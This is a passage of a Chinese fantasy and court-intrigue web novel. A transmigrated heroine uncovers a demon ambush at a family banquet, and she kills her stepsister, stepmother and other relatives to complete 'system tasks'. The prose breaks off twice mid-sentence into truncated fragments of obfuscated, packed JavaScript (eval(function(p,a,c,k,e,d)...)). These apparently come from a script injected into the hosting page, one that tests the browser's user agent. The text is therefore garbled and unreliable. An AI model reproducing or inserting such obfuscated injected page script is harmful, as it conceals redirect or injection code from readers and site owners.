这是在用金簪拉拢她。但杜若芬不是一向看不上林起月吗?为何突然又拉拢起她来了? 今天怎么一个两个都这么反常? 虽然心中疑惑,但茯凌还是点了点头,温顺道:“月儿明白,月儿与四妹妹本就同根生,自当相互扶持。” 杜若芬又道:“你父亲就你和羽汐两个女儿,你们两个自是要同心协力、一致对外。只是……若我们林府里面出了问题,那事情可就难办了。” 茯凌太阳穴一跳,难道杜若芬怀疑到了她,现在在拿话点她? 不对,以杜若芬的性子,若是怀疑她,自会去找林如进,或者干脆拿下她,不可能像现在这样和颜悦色地收买人心。 茯凌疑惑道:“女儿愚笨,不明白母亲的意思,什么叫我们林府里面出了问题?” “自然是林浚烨。”杜若芬咬牙道,“那日在红山院,我说林浚烨勾结妖族,谁知被他反咬一口,害得我被老爷送去庐山老家。这次戚姨娘说服老爷,让我回来参加林浚烨的宴客礼,她哪会有这么好心,恐怕早跟林浚烨沆瀣一气,要在今天置我于死地。” 茯凌故作惊讶道:“怎么会?今日府上宾客云集,戚姨娘和大哥哥就算有天大的胆子,也不敢在宴会上谋害主母。” 杜若芬道:“他们自然不会蠢到亲自动手,但这不代表他们就不会借妖族之手。我那日说林浚烨与妖族苟且,并非红口白牙冤枉他!我确实发现林浚烨与妖族有来往,只是苦于找不到证据,他做事太滴水不漏。我没有办法,这才出此下策伪造证据,没想到却被林浚烨倒打一耙!” 茯凌不知杜若芬所言是真是假,干脆装傻充愣:“不会吧……” “怎么不会?林浚烨早年间曾跟随一支军队去妖族领域试炼,应该就是那时与妖族勾连上的。”她看向茯凌,“月儿,如今你父亲不信我,林浚烨也对我十分防备,羽汐又是个单纯无知的,母亲只能依靠你。你帮我好好查一查林浚烨,找到他与妖族沆瀣一气的证据,这同样也是在帮你自己,不然他日东窗事发,我们所有人都会被林浚烨牵连!” 茯凌看杜若芬一脸“你快上钩呀”的表情,明白过来杜若芬不是要拉拢她,而是要把她推出去做马前卒。今日宴会,杜若芬、戚媚娘、林羽汐各有各的算计,茯凌心里发笑,这林府乌烟瘴气的,真想赶紧噶了这些人了事。她不愿再在杜若芬这儿浪费时间,一边装惊恐一边表忠心道:“好可怕!母亲放心,若是大哥哥真与妖族勾结,我一定设法找出证据。绝不让大哥哥一人祸害了我们全家。” 杜若芬摸了摸她的头:“好孩子。” 这会儿有婢女进来传话,说是前厅开席了,林如进让杜若芬和茯凌赶紧过去,不要失礼。杜若芬又叫进来一个侍女,吩咐道:“去看看羽汐去哪儿了。” 那侍女回道:“奴婢刚从西院过来,正好见着四小姐在院子里听戏,这会儿应该已经去前厅了。” 杜若芬点点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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酒宴酣畅,茯凌见在座各位神采奕奕,心想林羽汐的计划大概是泡汤了,这样想着便去看了林羽汐一眼,见她表情古怪,像在疑惑大家怎么还没倒下,又似是有些不甘。这就让茯凌不解起来,难道林羽汐真的往酒水里下了蒙汗药?那她为什么一点都没闻出来?即便那蒙汗药再怎么无色无味,可她催动了体内灵力,按理说应该能感受出来才是。 殊不知,她在看林羽汐,相楚澜却在看她。她因为林羽汐的表情,所以疑惑地又去闻了闻杯子里的酒。相楚澜却因为她的反应,也陷入不解,他学她的样子端起酒杯送到鼻下闻了闻,同样没闻出个究竟。旁边的沐纶见状,私下掐诀传音,问相楚澜道:“酒水可有问题?” 相楚澜也捏了个传音决,回:“暂时没发现。” 沐纶顿了顿,又传音道:“阿澜,你是不是过分关注林起月了?” 相楚澜意味不明地看向沐纶,掐决传音道:“你是不是过分关注我和林起月了?” 沐纶尴尬地笑了笑,没再传音,朝相楚澜举起酒杯,邀他共饮。 茯凌倒是没心思管相楚澜和沐纶这边的动静,此刻她所有的注意力都放在了林羽汐和戚媚娘身上,林羽汐的花招怕是石沉大海,不知道戚媚娘的幺蛾子什么时候上演。 酒过三巡,林浚烨起身去林如进身边说了几句话,林如进点了点头,而后林浚烨便高调地拍了几下手掌,不多时,便有一群穿着华丽羽裳的婀娜舞姬缓缓入场,旁边乐师已经就位,随着一声弦乐倾泻而出,舞姬们姿态飘逸地转入中央,开始为在场宾客起舞助兴。 弦乐悠扬动听,舞姿婉转动人,随着腰肢袅袅婷婷,舞姬们从流云般的袖袂中挥舞出阵阵香风和芸芸金粉,霎时间漫天金粉如梦如幻,似云中仙境一般。 茯凌却没什么雅兴看歌姬起舞,她注意到林羽汐默默离了座,猜测她大概是要偷偷溜去西院私会情郎鹧衣,便暗暗在桌下起了个手势,把监听林羽汐的听音符纸鹤调出,使林羽汐的声音可以不被淹没在现场的乐舞声中。 过了一会儿,林羽汐的声音通过听音符清晰地传入茯凌耳中: “怎么回事?你给我的蒙汗药为什么没起作用?” “那现在怎么办?这么好的机会难道就这样白白浪费吗?” “真是气人!又让林浚烨和林起月逃过一劫!” “我怎么能不生气?为了往酒水里下蒙汗药,我费了多大劲儿!早知道你这蒙汗药一点用都没有,我又何苦白忙活一场,还莫名其妙杀了个人。” “一个婆子。我去林起月院子里放蒙汗药的时候恰好被她撞上,她又是林起月奶娘,肯定站林起月那边,我就索性把她杀了。” “对了,我把那个婆子的尸体藏在了林起月衣柜里。如果我们现在过去做些手脚,倒是可以栽赃给林起月。今天虽然杀不了林浚烨,但解决一个林起月也是好的。” “你什么意思?什么叫随她去?我是用玄术杀的人,林起月不会玄术。如果不做点手脚,大家怎么会相信是林起月杀人?” 茯凌听到这儿,眉毛已经深深拧紧,虽然她顶替林起月身份还没多久,跟宋奶娘实在算不上感情深重,但宋奶娘是为数不多真心待林起月的,她既借用了林起月的身体,就有责任保护好宋奶娘。茯凌再也坐不住,旋即起身离座,她必须去藏月阁一趟! 15. 第15章 血宴礼2 在往藏月阁去的路上,茯凌很快就发现身后有人跟踪,她未予理会,如果跟踪她的人来者不善,那便一道杀了给林羽汐陪葬。 最终茯凌赶在林羽汐之前到达了藏月阁,她一刻也没犹豫地走进里屋,刚一进去就闻到了血腥味,即使早就通过听音符知道了事情的大概,她还是不由自主握紧了拳头,走到衣柜前,她定了定心神,然后伸手,打开了柜门。 更加浓重的血腥味扑鼻而来,茯凌看到衣柜里的宋奶娘双眼微闭,嘴唇、下巴、胸口都被鲜血染红,而随着她打开柜门的动作,宋奶娘的身体失去支撑,下一秒就往外倒了下来,茯凌连忙接住,意外地发现宋奶娘竟然还有一息尚存,她的样子看起来不容乐观,大概只剩一口气吊着。 茯凌没敢耽误,眼下最关键的就是赶紧带宋奶娘出去医治,她正要将宋奶娘抱起,突然感觉到背后有人靠近,是那个一路跟踪她至此的人。 当敌人出现在自己身后,任何一丝犹豫都是致命的。茯凌想也没想,随即拔下发髻上杜若芬刚送的金簪,手腕一转,立即就将金簪当作武器掷飞出去,同时转头去看,眼神跟随金簪而动,只见那人反应极快地侧身一躲,金簪随后深深扎进那人身后的柱子里,茯凌看清来人,竟是相楚澜。 “怎么是你?”茯凌来不及收回杀气腾腾的表情,索性也不装了,“你跟着我干什么?” 这是相楚澜第一次看到她冷戾的一面,那一脸警惕、高度防御的孤狼姿态竟令他心头一震。来不及探究事情的前因后果,相楚澜快步走到茯凌面前:“我看看。” 他的意思是要看看宋奶娘的情况。茯凌知道即便现在带宋奶娘出去寻医,能被救回的机会也是微乎其微,她伤得太重了,根本撑不到那时候。 没办法,眼下要想救宋奶娘,只能把宝押在相楚澜身上。她修的灵力偏攻击属性,基本不带疗愈效果,为今之计只能指望相楚澜修的玄术。 茯凌一边将宋奶娘抱去床榻上躺好,一边郑重请求相楚澜道:“拜托了。” 不见以往的嬉笑怒骂,她此刻的态度神情认真严肃得几乎不像她,相楚澜深看了茯凌一眼,没说什么,跟过去立于塌边,不等茯凌多说便开始催动玄术。 茯凌见他摊开手掌,旋即就有清润浅白的微光自他掌心莹出,这些令人心神宁静的光芒柔和地笼罩着宋奶娘,没过多久,茯凌就欣喜地发现宋奶娘有了变化,她的眼珠开始轻轻转动了几下,再接着就缓缓睁开了眼睛,茯凌连忙握住宋奶娘的手:“奶娘。” 宋奶娘苍白地看着茯凌,气若游丝:“……是四小姐……是她杀我……” 茯凌忙道:“先不说这些,相楚澜在救你,你一定会好起来。”说着,她眼露希冀地看向相楚澜,“是不是?” 相楚澜正要点头,可突然不知为何,全身筋脉竟瞬间像被堵住一般,体内玄术运行戛然而止,无论如何努力也难以调动施展,他好像……被人封住了玄术。 茯凌发现相楚澜掌心的微光消失,又见相楚澜神情变得凝重,她预感事情不妙,但还是心存希望地问道:“怎么回事?为什么突然停下了?结束了?”可她看宋奶娘的气色,实在不像是治愈结束的样子。 突然宋奶娘紧紧握住她的手,表情痛苦地唤她道:“姑娘……姑娘……” 茯凌有些急:“相楚澜,到底怎么了?” “四小姐害我!”宋奶娘突然激动地喊了一句,接着一口鲜血从她口中喷出,她身子一抖,很快又像瞬间被抽空力气似的瘫软在床上,重新闭上了眼睛。 茯凌怔怔地看着宋奶娘,她伸出两指去宋奶娘鼻下,发现宋奶娘竟已断气,刚才的苏醒就像是一场回光返照。 茯凌一时难以接受,本以为宋奶娘已遭毒手,赶过来后却惊喜地发现她还活着,可就在茯凌以为宋奶娘能救回来的时候,她却还是死了。这种一升一落的情绪起伏令茯凌心中堵闷,她不悦地瞪向相楚澜,把气撒到了他身上:“到底怎么回事?为什么救人救一半?你逗我玩儿呢?!” 相楚澜也蹙起眉:“你真不知道发生了什么?不是你做的?” 茯凌更气了:“你什么意思?我做什么了?难道是我逼你救人只救个开头?还有,你为什么跟踪我?你有病吧!” 这是茯凌头一回在相楚澜面前龇牙咧嘴凶神恶煞骂骂咧咧,突然就把相楚澜给整不会了,可他见她此刻横眉怒目的表情反应,竟比以往任何时候都要真实可信,看来以前的撩拨奉承确实是假,她果然对他无意!相楚澜两道眉毛越蹙越深:“刚才我体内玄术突然被人封住,不是你动的手脚?” 茯凌闻言一愣,很快意识到事情不对劲:“你说你体内玄术被人封住了?” 相楚澜紧紧盯着她,虽然她的样子看起来不像是逢场作戏,但他仍旧对她持怀疑和防备态度,道:“你前脚刚去过妖域,我现在就莫名其妙被封住了玄术,不是你还会有谁?你跟妖族到底有什么勾结?!” 茯凌怒道:“我什么时候去过妖域了?这些天我在府中足不出户,府里人都可以为我作证。再说了,我要真跟妖族有什么勾结,早一掌拍死你了,还能让你有机会在这儿逼逼叨叨?” 相楚澜冷哼道:“也许你们想捉活的。” 茯凌:“……” 不是,这人有被害妄想症吧? 她冷静了一下,再三提醒自己眼前这个被害妄想症患者是她的主线目标,她不能得罪他。平复了一下呼吸,茯凌郑重地对相楚澜道:“我可以摸着良心对天发誓,我害谁也不会害你。你要是死了,我这辈子也就没什么指望了。” 她眼神认真而专注,笔直地看进相楚澜眼里,相楚澜心念一动,但很快就回过神来,恐怕她又在编什么谎,他才不会相信“他死了,她这辈子就没指望了”这样的鬼话。相楚澜眼里的狐疑之色益发明显:“林二小姐真是好演技!” 茯凌见他眼神里满满的都是对她的不信任,她知道现在不是跟他怄气的时候,克制地问他道:“你为什么会觉得我去过妖域?” 相楚澜不准备跟她打太极,既然红莲业火已经熄灭,说明她已经发现其中端倪,没必要再藏着掩着弯弯绕绕,道:“我那日给了你一个金色铃铛,里面有我的红莲业火。前几日,我通过红莲业火追踪到你去了妖域。” “什么?”茯凌皱了眉,一时竟不知是该气恼相楚澜送她红莲业火目的不纯,还是该意外小十一竟去了妖域。但她知道现在这两样都不重要,于是努力用平静的语气向相楚澜解释道,“我没有去妖域。你给我的金色铃铛,我转手送了别人,那人是个普通人族,额头上没有妖纹,我也不知道他为何会去妖域,但不排除是被妖怪捉去的可能。” 相楚澜并不信她的话,但还是问道:“你把铃铛了给谁?” 茯凌道:“给了路边一个乞丐。” 相楚澜既意外又不悦:“你把我送你的红莲业火,随手给了路边的乞丐?” 茯凌不满地哼道:“你不是说红莲业火是用来给我自保的吗?小乞丐比我更需要这东西,我就学你行善,借花献佛了。谁知道你送我铃铛是为了掌握我的行踪,早知道你的真实意图,我就把铃铛别裤腰带上寸步不离了。相楚澜,你到底在怀疑我什么?竟然用红莲业火来盯我的梢。” 相楚澜视线不移地看着茯凌,试图从她的表情和眼神里寻找出一丝破绽,他现在仍然无法相信她。突然他想到什么,心叫不好,接着就立马抬脚往外走,茯凌连忙跟上他:“又怎么了?” 他从她的语气里隐约听出一丝不耐烦,无语地瞥了她一眼,道:“如果封住我玄术的人不是你,那么沐纶,甚至宴客厅里的那些人,恐怕也都被人神不知鬼不觉封住了玄术。” 茯凌轻声念道:“难道是林羽汐?还是林浚烨?” 相楚澜脚步一滞:“你是不是知道什么?” 这时候突然发现前方有人过来,两人抬头看去,原来是正偷偷摸摸往藏月阁这边来的林羽汐。两边半路相逢,茯凌毫无意外,相楚澜眼底多出一丝警惕,林羽汐则在看到他俩后明显一愣,脱口问道:“你们怎么在这儿?” 茯凌也不跟林羽汐废话,指着她就对相楚澜道:“林羽汐有重大嫌疑!我偷听到林羽汐跟一个叫鹧衣的戏子商量,说要往宾客的酒水里下蒙汗药,可我今日并未在酒水里察觉出异常。想来林羽汐往酒水里下的并非什么蒙汗药,而是一种奇特的可以封住玄术的药物,所以才没有被人察觉。能拿到这样奇怪的药物,林羽汐要么就是与妖族勾结,要么就是被妖族利用。如果她是被妖族利用,那她的情人鹧衣绝对有问题!” “你在胡说些什么!”林羽汐怒道,“林起月!你少血口喷人!” 她原以为自己往酒水里下药的事除了她跟鹧衣,绝不会有第三人知晓,没想到茯凌竟然知道,还说她下的不是蒙汗药,而是什么可以封住玄术的奇特药物,这套说辞令林羽汐后背起了一层冷汗,她既气恼又不安道:“今日的酒水我也喝了。你说我往酒水里下了封锁玄术的药物,简直荒谬!” 林羽汐说着就开始催动体内玄术,要向相楚澜证明,可无论她怎么设法运行,筋脉里的玄术都像是被压制住一般,竟丝毫无法调动出来,这无疑加重了林羽汐心中的恐惧和惊怒,她不敢置信地嘀咕道:“怎么回事?为什么玄术使不出来?” 见林羽汐也无法调动玄术,相楚澜更加确定了心中猜想,今夜这场宴客礼恐怕早就被妖族盯上,成为了他们十面埋伏的狩猎场,而无法调动玄术的林府宾客,则毫无疑问成了待宰羔羊。 相楚澜加快脚步往前院的宴客厅赶去,茯凌跟在他身边提醒道:“开席前,杜若芬曾将我叫去她房中,说她发现林浚烨跟妖族暗中苟且。林浚烨和林羽汐都有嫌疑, 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林羽汐六神无主地追上他们,听了相楚澜的话便惊惧地问道:“你的意思是,我们今晚都得死在这里?” 茯凌的表情也变得凝重起来,她摘下耳环奋力往院墙外扔去,只见耳环在空中却像是触碰到一张无形的大网,竟被弹落回院中。她皱起眉,看来正如相楚澜所言,他们被妖族瓮中捉鳖了,现在的林府恐怕连一只苍蝇都飞不出去。茯凌道:“你认为妖族会在哪里埋伏?我今日在府中并未见到额上有妖纹的人。” 神族有神脉,妖族有妖纹。 神族的神脉在后背脊柱上,是极细的一根金线,平时穿着衣服看不到。而妖族的妖纹则不同,是额头中间类似花钿的纹路,且有颜色之分,最低等级的妖怪是蓝色妖纹,接着是红色、黑色,最高等级的妖怪则是银白色妖纹,宗政向离的额间便是银白色妖纹。 也正因如此,所以妖族可以一眼辨认。 相楚澜没理会林羽汐的恐惧,却回答了茯凌的问题:“是噬魂楼。噬魂楼的妖可以吃掉人族、神族的灵魂,再进入失去灵魂的躯壳里,伪装成人族和神族。” “噬魂楼?”茯凌以前生活的世界并没有这种可以吃掉灵魂的妖怪,不禁好奇,“如果是这样,那今晚他们把我们的灵魂全都吃掉后,岂不是可以伪装成我们?到时候外界根本不知道今晚的林府发生过什么,朝中大员、宰相、奚王世子、甚至是二殿下,不都变成了妖怪假扮的?这样一来,妖族算是真正打入帝国核心了。” 林羽汐越听越害怕,双脚都忍不住开始发软,她病急乱投医地一把抓住茯凌的手:“那怎么办?我还不想死。” 茯凌厌恶地甩开她,狠声道:“你放心,我绝不会让你死在妖怪手里。”她想起宋奶娘的死状,想起自己的支线任务,林羽汐,她自要亲手解决她。 林羽汐被茯凌甩了个趔趄,差点摔倒在地,但此刻却不敢发作,只能瘪着嘴继续跟上他们,心里忍不住阵阵害怕。 相楚澜则一边走一边继续催动体内玄术,虽然在企图运行玄术的过程中总是遇到障碍,但他感觉这层障碍正在他的冲击下愈发薄弱,他得尽快冲破阻碍才行。正强行调动玄术冲击体内那层障碍,忽而瞥见一束金光,他警惕地望过去,只见空中不知何时竟然多出一张黄色符纸,刚才的金光便是符纸所发,而此刻以指为笔、凌空画符的人竟是林起月,相楚澜睁大眼睛,不敢置信地看向茯凌:“你!” 林羽汐也颤抖地指着茯凌道:“你,你在干什么?” 茯凌没理会相楚澜和林羽汐吃惊的眼神,在他们既疑惑又意外的目光下,她拿起空中那道隐秘之境就往相楚澜身上掷去,完全不给相楚澜说第二句话的机会,下一秒就将他收入隐秘之境。 虽然隐秘之境时效短,但也足够保护相楚澜一阵了,她不能眼睁睁看着相楚澜去送死,那意味着她的任务彻底失败,她绝不允许这种情况发生,她还要回去,回到自己真正的身体里。 林羽汐在旁边早就吓傻了眼。她刚才眼睁睁看着茯凌用手指在空中画出了一张古怪的符纸,接着又将符纸往相楚澜身上轻松一扔,下一秒相楚澜竟然就凭空消失了。林羽汐不敢相信自己的眼睛,更不敢相信自己的废物庶姐竟然会有这样的本事。她咽着口水往后退去,声音发抖地问茯凌道:“你,你对他做了什么?你是谁?你到底是谁?!” 茯凌存心吓唬她,露出阴森森的笑容:“四妹妹怎么不认识我了?我是被你欺负了一辈子的二姐姐呀。是被你杀死奶娘的二姐姐,是担心你被妖怪吃掉灵魂,所以决定亲手送你见阎王的二姐姐。” 林羽汐惊恐地叫道:“不!你不是林起月!你是妖怪!你是夺舍林起月的妖怪!是你!是你串通妖族!” 茯凌看向落单的林羽汐,脸上笑容慢慢消失:“烧完了全嬷嬷,解决了林昊晗,现在,也该轮到你了。” 16. 第16章 血宴礼3 茯凌明白“机不可失,失不再来”的道理。 不再跟林羽汐废话,她伸手在空中飞快地画出一道符咒,金光乍现中,一柄长剑破空而出。 林羽汐错愕地看着悬于半空的利剑,感受到了万分的惊悚恐惧,她心跳如鼓地瞪大双眼,强行挪动打颤的双腿,慌忙转身欲逃。 茯凌双手置于胸前,利落地掐出一套御剑手势,原先直立在空中的长剑便瞬间卧倒,甩出一声凌厉剑气,没等林羽汐跑出几步,剑刃刺破空气飞冲而去,电光火石间就已从她后背刺入、再从前胸刺出,完成了一记肃杀的贯穿。 时间似乎静止了一秒,而后万物运行,林羽汐的血液沿着剑刃汩汩而出,她慢慢低头看了眼胸前锋利滴血的剑刃,突然开始大口大口地吐出鲜血,而后她喉咙里发出一声含糊的咕声,似乎想说什么,可最终却一个字也没能说出,在憎恶和惊恐中咽下最后一口气,朽木一般倒在了地上。 茯凌垂眸看着死去的林羽汐,幽幽道:“放心,剩下四个很快过去陪你。” 她已打定主意,既然眼下无法逃出林府,不如顺势而为,利用妖族设的局,在众人玄术被封的情况下,完成支线任务一。 一刻也不耽误,茯凌飞身上到屋顶,向着前厅的方向,身姿矫健地在各个屋顶间穿梭,她小心翼翼地将自己隐藏在屋顶背后,耳边厮杀喊叫之声不绝于耳,想来当她跟相楚澜、林羽汐在藏月阁说话的时候,前厅就已经爆发了一场拼杀。 敌众我寡,茯凌不敢轻易现身,她伏在屋顶背后暗中窥探府中发生的一切,发现并非所有人都被封住了玄术,奴仆、随从打扮的人此刻正施展玄术与戏子、乐师、舞姬们生死搏斗。她又观察了一会儿,很快发现三点: 一是被封住玄术的都是些高官贵人,都是先前在大厅内喝过酒、赏过舞、听过曲的。他们此刻正散在院中各处,被能施展玄术的随从拼死保护。 二是戏子、乐师、舞姬看似是一伙的,但仔细观察就会发现他们似乎分为两个阵营,戏子独自为营,而乐师、舞姬则属于另一个阵营,两伙人更像合作关系。戏子中为首的是一个穿青衣长褂的高个子年轻男人,他发号的施令是要抓活的。乐师、舞姬中做主的则是一个戴着红色珠帽的美丽女人,她们似乎对院子里的这些高官贵人们并无兴趣,而是不断在寻找什么。 三是茯凌依旧没从戏子、乐师、舞姬额头上看到妖纹。如果像相楚澜所说,这些都是噬魂楼的妖,那为何戏子看上去和乐师、舞姬隶属两路? 不过茯凌眼下也没功夫细究这些,她开始寻找林如进一众人的踪影,很快就发现了他们。说来也巧,林如进、杜若芬、戚媚娘、林浚烨四人竟在一处,护在他们四周的是林府一些会玄术的奴仆。茯凌眼神一扫,又在旁边看到了被这阵势吓得吱哇乱叫的飞花。飞花虽然不会玄术,却也知道紧紧跟在会玄术的仆人旁边,再加上那些戏子想抓活的,因此暂时不算危险。 茯凌一不做二不休,立马画出一道长弓符,与此同时,她看到戚媚娘和不远处的一个奴仆打扮的男子使了个眼神,而后那男子点了点头,接着就以迅雷不及掩耳之势,提着泛有绿色玄光的大刀就向杜若芬砍去。茯凌立马明白过来,想必那男子就是戚媚娘安排的死士,本来是准备演一场刺杀林浚烨的戏来栽赃杜若芬的,谁知半路杀出妖族作乱,戚媚娘便干脆临时更换主意,让死士趁乱杀死被封住玄术的杜若芬,这样倒更省事。 在那死士挥刀砍向杜若芬的同时,茯凌也拉满弓箭对准了林浚烨,两人几乎同时出手,当尖锐的羽箭划破长空刺中林浚烨胸口,死士的刀却在离杜若芬仅有一掌距离时被她发现,只见杜若芬虽无法施展玄术,可反应却十分迅速,她余光瞥到头顶上的刀锋,瞬间往后退去,同时一把拉过旁边的侍女挡在身前,死士来不及收刀,冒着寒气的刀刃就这么从侍女额头砍了进去,茯凌呼吸一滞,看清被杜若芬拉来挡刀的侍女不是别人,正是飞花! 刚射出一箭的茯凌没有急于隐蔽,虽然这样容易暴露自己的方位,飞花的死激怒了她,拉弓的手指握紧,她即刻调整弓箭的方向,对准杜若芬就三箭齐发,仍嫌不够,茯凌在三箭离弦的同时画出雷符,拥有雷符加持的羽箭速度更快,箭身萦绕蓝色闪电,须臾间就刺穿了杜若芬的喉咙。 林浚烨、杜若芬先后被天外飞箭射中,吓得戚媚娘大叫一声,这时不止是林如进等人,就连在场的戏子、乐师、舞姬等妖族,都不约而同朝向射箭的方向看来。茯凌没有半分犹豫,在众人众妖目光投来之前,就闪现进了隐秘之境,因此旁人并没看到屋顶上有人,纷纷好奇这四支箭从何而来。 茯凌进入隐秘之境后,看到相楚澜席地而坐,似乎正在试图调动玄术冲破束缚,看到她突然闪现,相楚澜旋即起身,质问道:“这到底是哪里?”瞥见她手里的弓箭,他眼神愈发深沉,“你刚才做了什么?” 茯凌掐了个诀,手里的弓箭瞬间化烟消散,她现在没时间跟相楚澜解释太多,眼下最重要的事有两件,一是完成支线任务,二是确保自己跟相楚澜能安全离开林府。道:“外面已经打起来了,凡是在宴客礼上喝过酒的,都被封住了玄术。今日府上请来的戏子、乐师、舞姬应该都是妖族,但我无法看见他们额头的妖纹,可能如你所说,都是噬魂楼的妖。” 相楚澜仍旧半信半疑地盯着她。 茯凌继续道:“为首的有两人,一个穿青衣长褂的男人,还有一个戴红色珠帽的女人。我听到青衣长褂男人对戏子们说要抓活的,不排除是想控制起来,统一食取灵魂。他们人多势众,我一个人斗不过,你大概还有多久才能冲破封印?” 似乎是意外于她竟然知道他即将冲破玄术封印的事,相楚澜脸色微变:“你怎么——” 茯凌打断他道:“这不难猜。妖族要真这么神通广大,能研制出可以长时间封印玄术的药物,恐怕早就一统天下了,怎么还会偏居一隅,让神族坐拥广袤土地?” 怕相楚澜磨蹭,茯凌接着往下说道:“我们现在在另一个空间,但这个空间有时限,无法维持太久,时间一到就会把我们自动弹出,到时候你若还没冲破玄术封印,我们就要落到妖怪手里。你抓紧时间,我再出去看看情况。” 相楚澜知道现在是危急关头,他必须暂时抛下对茯凌的怀疑,因此他并没有问她这一身奇怪本领从何而来,而是在她即将离开前拉住了她胳膊:“你曾说过要替我做三件事,可还记得?” 茯凌刚想骂他,这都什么时候了,你还跟我扯这些虚头八脑的东西作甚? 可她刚张嘴,就听相楚澜道:“第一件事,保护好自己。第二件事,在确保自己安全的前提下,护住沐纶。” 茯凌没想到他平时矜持倨傲阴晴不定,关键时候倒挺会收买人心。她笑了下:“行,我答应你。”说完,不再多言,闪身离开隐秘之境。 等她再出现在屋顶上时,发现院子里的局面已经发生了变化。有些官员贵人已经被戏子们控制住,另一些则在随从的玄术保护下还在苦苦支撑,这其中就有沐纶的身影。看到沐纶暂时还算安全,茯凌就决定先把他放一边,解决林如进等人更要紧。 此时地上已经多出一些尸体,多为仆从,也有一些戏子,茯凌在这些尸体里发现了飞花和杜若芬,却没看到林浚烨。她继续在混战中寻找,很快就看到了林如进和戚媚娘,他二人正在仆从的护送下全力突围,忠心护主的仆人引起了戏子中的领头者——青衣长褂男子的注意,茯凌见状只好按兵不动,以免打草惊蛇。 林如进和戚媚娘在奴仆的拼死护送下很快突破重围、往后院方向转移,青衣长褂男子没有挪步,而是挥手召来几名戏子,让他们去追击林如进、戚媚娘一干人等。他们螳螂捕蝉,茯凌黄雀在后,也跟着潜伏而去。 戏子们在静谧的后花园池塘边追上了林如进、戚媚娘,两边随即展开厮杀,茯凌藏于假山背后伺机而动。 不多久,戏子们占据上风,虽然折了几人,却把保护林如进、戚媚娘的奴仆全部击杀,此时只剩下林如进、戚媚娘以及两名戏子。 戚媚娘开始哭丧:“老爷,难道我们今晚真要死在这些歹人手里?” “哭什么哭!”林如进骂了句,又指着那两个戏子怒道,“你们究竟是什么人?到底用什么手段封住了我们的玄术?!” 其中一个戏子笑道:“宰相大人应该去问问贵府大少爷和四小姐,要不是有他二人暗中相助,我们怎么会轻易得手?” 另一个戏子道:“鹧衣,你跟他们废话什么?赶紧带回去交给南荣大人。” 戚媚娘又怒又惧道:“你在胡说什么?我的烨哥儿被冷箭射中,又被你们的人带走,现在生死未卜,他怎么可能跟你们勾结?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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被五花大绑的戚媚娘吓得跌倒在地,叫道:“是他!是那时射杀烨哥儿和杜若芬的人!” 同样被绑住手脚的林如进也朗声喊道:“阁下究竟是敌是友?何不现身相见?” 茯凌笑了笑,得了,见就见吧,左右也让他们死得明白些。 她手持弓箭从假山背后走了出来,从浓重的夜色里,一步一步从容迈向前方的光明。 后花园不如前厅灯光如昼,只有池塘边点了几盏地柱灯,林如进并未看清对方是谁,只能从夜雾中看出个大概,原以为会是个身材高大的男人,没成想竟是个体态轻盈的女人,随着那人越走越近,池塘边的灯光映照出她的脸,她的面容逐渐变得清晰…… 林如进双眼圆睁,竟然!他怎么也没想到,射箭之人竟会是他的二女儿林起月! 戚媚娘也是一脸震惊,大呼道:“怎么会?怎么会是你?!” 茯凌没功夫欣赏林如进和戚媚娘的表情,她注意到那个叫秋贤的噬魂楼妖怪正朝着她的方向打出一掌,随即就有蓝色的光球冲她袭击而来,她足尖点地,一跃而起的同时在空中完成弯腰旋转的动作,轻巧地避开了这波攻击,手上也没闲着,没给秋贤打出第二轮攻击的机会,箭搭弦上就冲他射了过去。 在羽箭刺穿秋贤胸膛的同时,蓝色烟雾自他头顶飘出,他凝形的速度比鹧衣快出许多,没等茯凌射出第二箭就显出了妖身,原来住在这具清秀男子躯体里的竟是一只矮小肥胖的男性妖怪,茯凌在他额头上看到了显眼的蓝色妖纹。 看来确如他所说,府中被林浚烨点满了障目香,而后花园地方僻静,不曾被障目香萦绕,所以秋贤从戏子身体里出来后,茯凌能看到他额头上的妖纹。鹧衣方才所言也是实话,就是因为府里的障目香,所以他们无法看到踏云馆妖邪额间的妖纹。 如果茯凌猜测不假,大概戏子来自噬魂楼,舞姬和乐师则出自踏云馆。 茯凌心中已有大概,秋贤也已牟足全力朝她杀来,只见他浑身都散发出蓝色的妖气,挥舞拳头朝茯凌打出全力一击,茯凌侧身避开,手中弓箭瞬间幻化为长剑,她反手朝背后的秋贤刺去,仅仅一个回合就贯穿了秋贤的身体,令他化为蓝色妖雾随风散去。 自从喝下灵力雨露,茯凌灵力大涨,最低等的蓝纹妖怪根本不是对手。 轻松解决完秋贤,接下来就是林如进和戚媚娘,得在相楚澜冲破灵力封锁前尽快完成系统任务才行,不然怕他横加阻拦、坏她好事。茯凌看向被麻绳五花大绑、毫无还手能力的林如进、戚媚娘,微微一笑:“你们两个想怎么死?亲戚一场,我尽量满足。” 17. 第17章 血宴礼4 戚媚娘怔怔地看着茯凌,声音发抖道:“为什么,你为什么要这么做?” 茯凌道:“我为什么要这么做,姨娘难道不清楚吗?”她手持长剑指向戚媚娘,“姨娘当年害我生母,如今一命换一命,也算公道。” 戚媚娘艰难地蠕动着嘴唇:“不,不是我,你母亲同我一样只是个姨娘,我害她做什么?她对我没有威胁。” 茯凌声音清亮:“我只管报仇,不管查案。你往她院子里送了毒酒,她的命,你背上。” 戚媚娘惊惧落泪道:“赐她毒酒并非我的主意,是……”她颤抖着看向林如进,“是……” “酒是我让她送的!”林如进摆出一副威严父亲架子,“你生母年老色衰,让我成了全京都的笑话!我杀她,是为了整个林府着想,更是为了你的前途考虑。有那样的生母,你如何抬得起头?!” “真是厚颜无耻。”茯凌冷笑道,“她是人族,寿命青春与你相比,十分无一。你早该知道自己的容貌变化延迟于她,却贪恋地只顾享受她的年轻靓丽,又厌弃她白发苍苍。像你这等薄情寡义之人,能活到今时今刻,都算老天瞎了眼。” 说完,茯凌随即画出一道雷符,林如进这样的渣男,该被雷活活劈死才是! 